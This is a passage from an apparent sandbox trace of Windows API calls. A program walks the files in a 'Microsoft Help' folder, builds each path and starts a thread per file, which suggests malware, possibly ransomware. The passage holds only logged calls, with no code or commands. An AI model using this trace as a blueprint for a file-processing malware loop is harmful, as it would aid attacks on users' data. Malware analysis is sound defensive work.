ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="48f6ad28358ee5294759c.2f9b60", cAlternateFileName="48F6AD~1.2F9")) returned 1 [0097.845] wcscmp (_String1="48f6ad28358ee5294759c.2f9b60", _String2=".") returned 1 [0097.845] wcscmp (_String1="48f6ad28358ee5294759c.2f9b60", _String2="..") returned 1 [0097.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86bee0 [0097.845] wcscpy (in: _Dest=0x1b86bee0, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.845] wcscat (in: _Dest=0x1b86bee0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.845] wcscat (in: _Dest=0x1b86bee0, _Source="48f6ad28358ee5294759c.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\48f6ad28358ee5294759c.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\48f6ad28358ee5294759c.2f9b60" [0097.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86bee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c [0097.846] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1146cbb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4f5334e9e5c5be90c31b5ec9746f3.2f9b60", cAlternateFileName="4F5334~1.2F9")) returned 1 [0097.846] wcscmp (_String1="4f5334e9e5c5be90c31b5ec9746f3.2f9b60", _String2=".") returned 1 [0097.846] wcscmp (_String1="4f5334e9e5c5be90c31b5ec9746f3.2f9b60", _String2="..") returned 1 [0097.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7add40 [0097.846] wcscpy (in: _Dest=0x1b7add40, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.846] wcscat (in: _Dest=0x1b7add40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.846] wcscat (in: _Dest=0x1b7add40, _Source="4f5334e9e5c5be90c31b5ec9746f3.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\4f5334e9e5c5be90c31b5ec9746f3.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\4f5334e9e5c5be90c31b5ec9746f3.2f9b60" [0097.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7add40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514 [0097.847] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x0, cFileName="51a819fde462bc01fb.2f9b60", cAlternateFileName="51A819~1.2F9")) returned 1 [0097.847] wcscmp (_String1="51a819fde462bc01fb.2f9b60", _String2=".") returned 1 [0097.847] wcscmp (_String1="51a819fde462bc01fb.2f9b60", _String2="..") returned 1 [0097.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b868f40 [0097.847] wcscpy (in: _Dest=0x1b868f40, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.847] wcscat (in: _Dest=0x1b868f40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.847] wcscat (in: _Dest=0x1b868f40, _Source="51a819fde462bc01fb.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\51a819fde462bc01fb.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\51a819fde462bc01fb.2f9b60" [0097.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b868f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d8 [0097.848] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="6669c23e4f8feb72395e.2f9b60", cAlternateFileName="6669C2~1.2F9")) returned 1 [0097.848] wcscmp (_String1="6669c23e4f8feb72395e.2f9b60", _String2=".") returned 1 [0097.848] wcscmp (_String1="6669c23e4f8feb72395e.2f9b60", _String2="..") returned 1 [0097.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86bf70 [0097.848] wcscpy (in: _Dest=0x1b86bf70, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.848] wcscat (in: _Dest=0x1b86bf70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.848] wcscat (in: _Dest=0x1b86bf70, _Source="6669c23e4f8feb72395e.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\6669c23e4f8feb72395e.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\6669c23e4f8feb72395e.2f9b60" [0097.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0097.849] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf7d9300, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="75a93dbd1140b85d800d0ced9a.2f9b60", cAlternateFileName="75A93D~1.2F9")) returned 1 [0097.849] wcscmp (_String1="75a93dbd1140b85d800d0ced9a.2f9b60", _String2=".") returned 1 [0097.849] wcscmp (_String1="75a93dbd1140b85d800d0ced9a.2f9b60", _String2="..") returned 1 [0097.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86c000 [0097.849] wcscpy (in: _Dest=0x1b86c000, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.849] wcscat (in: _Dest=0x1b86c000, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.849] wcscat (in: _Dest=0x1b86c000, _Source="75a93dbd1140b85d800d0ced9a.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\75a93dbd1140b85d800d0ced9a.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\75a93dbd1140b85d800d0ced9a.2f9b60" [0097.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86c000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9fc [0097.850] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26af670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="76affb4614c7504eb2da2b76e8.2f9b60", cAlternateFileName="76AFFB~1.2F9")) returned 1 [0097.850] wcscmp (_String1="76affb4614c7504eb2da2b76e8.2f9b60", _String2=".") returned 1 [0097.850] wcscmp (_String1="76affb4614c7504eb2da2b76e8.2f9b60", _String2="..") returned 1 [0097.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86c090 [0097.850] wcscpy (in: _Dest=0x1b86c090, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.850] wcscat (in: _Dest=0x1b86c090, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.850] wcscat (in: _Dest=0x1b86c090, _Source="76affb4614c7504eb2da2b76e8.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\76affb4614c7504eb2da2b76e8.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\76affb4614c7504eb2da2b76e8.2f9b60" [0097.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86c090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0 [0097.850] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5fec970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="78b79bdfebb0e7103e83216.2f9b60", cAlternateFileName="78B79B~1.2F9")) returned 1 [0097.851] wcscmp (_String1="78b79bdfebb0e7103e83216.2f9b60", _String2=".") returned 1 [0097.851] wcscmp (_String1="78b79bdfebb0e7103e83216.2f9b60", _String2="..") returned 1 [0097.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b86c120 [0097.851] wcscpy (in: _Dest=0x1b86c120, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.851] wcscat (in: _Dest=0x1b86c120, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.851] wcscat (in: _Dest=0x1b86c120, _Source="78b79bdfebb0e7103e83216.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\78b79bdfebb0e7103e83216.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\78b79bdfebb0e7103e83216.2f9b60" [0097.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86c120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8 [0097.852] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5fec970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="7dbf13fa9dd7318566c6b246edc.2f9b60", cAlternateFileName="7DBF13~1.2F9")) returned 1 [0097.852] wcscmp (_String1="7dbf13fa9dd7318566c6b246edc.2f9b60", _String2=".") returned 1 [0097.852] wcscmp (_String1="7dbf13fa9dd7318566c6b246edc.2f9b60", _String2="..") returned 1 [0097.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x2027b550 [0097.852] wcscpy (in: _Dest=0x2027b550, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.852] wcscat (in: _Dest=0x2027b550, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.852] wcscat (in: _Dest=0x2027b550, _Source="7dbf13fa9dd7318566c6b246edc.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\7dbf13fa9dd7318566c6b246edc.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\7dbf13fa9dd7318566c6b246edc.2f9b60" [0097.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc [0097.853] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf7d9300, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x0, dwReserved1=0x0, cFileName="90e9aca79f93d1b843eac5.2f9b60", cAlternateFileName="90E9AC~1.2F9")) returned 1 [0097.853] wcscmp (_String1="90e9aca79f93d1b843eac5.2f9b60", _String2=".") returned 1 [0097.853] wcscmp (_String1="90e9aca79f93d1b843eac5.2f9b60", _String2="..") returned 1 [0097.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b86c1b0 [0097.853] wcscpy (in: _Dest=0x1b86c1b0, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.853] wcscat (in: _Dest=0x1b86c1b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.853] wcscat (in: _Dest=0x1b86c1b0, _Source="90e9aca79f93d1b843eac5.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\90e9aca79f93d1b843eac5.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\90e9aca79f93d1b843eac5.2f9b60" [0097.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86c1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528 [0097.853] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xc997810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc997810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e3ad0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x0, dwReserved1=0x0, cFileName="962dfa6fd54cd63925bf2e.2f9b60", cAlternateFileName="962DFA~1.2F9")) returned 1 [0097.854] wcscmp (_String1="962dfa6fd54cd63925bf2e.2f9b60", _String2=".") returned 1 [0097.854] wcscmp (_String1="962dfa6fd54cd63925bf2e.2f9b60", _String2="..") returned 1 [0097.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d380 [0097.854] wcscpy (in: _Dest=0x1cf4d380, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.854] wcscat (in: _Dest=0x1cf4d380, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.854] wcscat (in: _Dest=0x1cf4d380, _Source="962dfa6fd54cd63925bf2e.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\962dfa6fd54cd63925bf2e.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\962dfa6fd54cd63925bf2e.2f9b60" [0097.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x510 [0097.854] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11446a50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="9693ed7440ede296b38fd0b.2f9b60", cAlternateFileName="9693ED~1.2F9")) returned 1 [0097.854] wcscmp (_String1="9693ed7440ede296b38fd0b.2f9b60", _String2=".") returned 1 [0097.855] wcscmp (_String1="9693ed7440ede296b38fd0b.2f9b60", _String2="..") returned 1 [0097.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cf4d890 [0097.855] wcscpy (in: _Dest=0x1cf4d890, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.855] wcscat (in: _Dest=0x1cf4d890, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.855] wcscat (in: _Dest=0x1cf4d890, _Source="9693ed7440ede296b38fd0b.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\9693ed7440ede296b38fd0b.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\9693ed7440ede296b38fd0b.2f9b60" [0097.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4 [0097.855] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x22e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="a6b9559973.2f9b60", cAlternateFileName="A6B955~1.2F9")) returned 1 [0097.855] wcscmp (_String1="a6b9559973.2f9b60", _String2=".") returned 1 [0097.855] wcscmp (_String1="a6b9559973.2f9b60", _String2="..") returned 1 [0097.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86f050 [0097.856] wcscpy (in: _Dest=0x1b86f050, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.856] wcscat (in: _Dest=0x1b86f050, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.856] wcscat (in: _Dest=0x1b86f050, _Source="a6b9559973.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\a6b9559973.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\a6b9559973.2f9b60" [0097.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86f050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc [0097.856] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="abb492c18558145bba922.2f9b60", cAlternateFileName="ABB492~1.2F9")) returned 1 [0097.856] wcscmp (_String1="abb492c18558145bba922.2f9b60", _String2=".") returned 1 [0097.856] wcscmp (_String1="abb492c18558145bba922.2f9b60", _String2="..") returned 1 [0097.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b783ef0 [0097.857] wcscpy (in: _Dest=0x1b783ef0, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.857] wcscat (in: _Dest=0x1b783ef0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.857] wcscat (in: _Dest=0x1b783ef0, _Source="abb492c18558145bba922.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\abb492c18558145bba922.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\abb492c18558145bba922.2f9b60" [0097.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b783ef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0097.858] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2689510, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x0, dwReserved1=0x0, cFileName="ada3ddd10bd38e70c22db4.2f9b60", cAlternateFileName="ADA3DD~1.2F9")) returned 1 [0097.858] wcscmp (_String1="ada3ddd10bd38e70c22db4.2f9b60", _String2=".") returned 1 [0097.858] wcscmp (_String1="ada3ddd10bd38e70c22db4.2f9b60", _String2="..") returned 1 [0097.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202ae0b0 [0097.858] wcscpy (in: _Dest=0x202ae0b0, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.858] wcscat (in: _Dest=0x202ae0b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.858] wcscat (in: _Dest=0x202ae0b0, _Source="ada3ddd10bd38e70c22db4.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\ada3ddd10bd38e70c22db4.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\ada3ddd10bd38e70c22db4.2f9b60" [0097.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae0b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0097.869] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52738440, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="af8d70004cb9ddeb995ab245.2f9b60", cAlternateFileName="AF8D70~1.2F9")) returned 1 [0097.869] wcscmp (_String1="af8d70004cb9ddeb995ab245.2f9b60", _String2=".") returned 1 [0097.869] wcscmp (_String1="af8d70004cb9ddeb995ab245.2f9b60", _String2="..") returned 1 [0097.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202ae140 [0097.869] wcscpy (in: _Dest=0x202ae140, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.869] wcscat (in: _Dest=0x202ae140, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.869] wcscat (in: _Dest=0x202ae140, _Source="af8d70004cb9ddeb995ab245.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\af8d70004cb9ddeb995ab245.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\af8d70004cb9ddeb995ab245.2f9b60" [0097.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd94 [0097.870] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa72fc10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa72fc10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa7a2030, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="b1c70549e5645e571401.2f9b60", cAlternateFileName="B1C705~1.2F9")) returned 1 [0097.870] wcscmp (_String1="b1c70549e5645e571401.2f9b60", _String2=".") returned 1 [0097.870] wcscmp (_String1="b1c70549e5645e571401.2f9b60", _String2="..") returned 1 [0097.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202ae1d0 [0097.871] wcscpy (in: _Dest=0x202ae1d0, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.871] wcscat (in: _Dest=0x202ae1d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.871] wcscat (in: _Dest=0x202ae1d0, 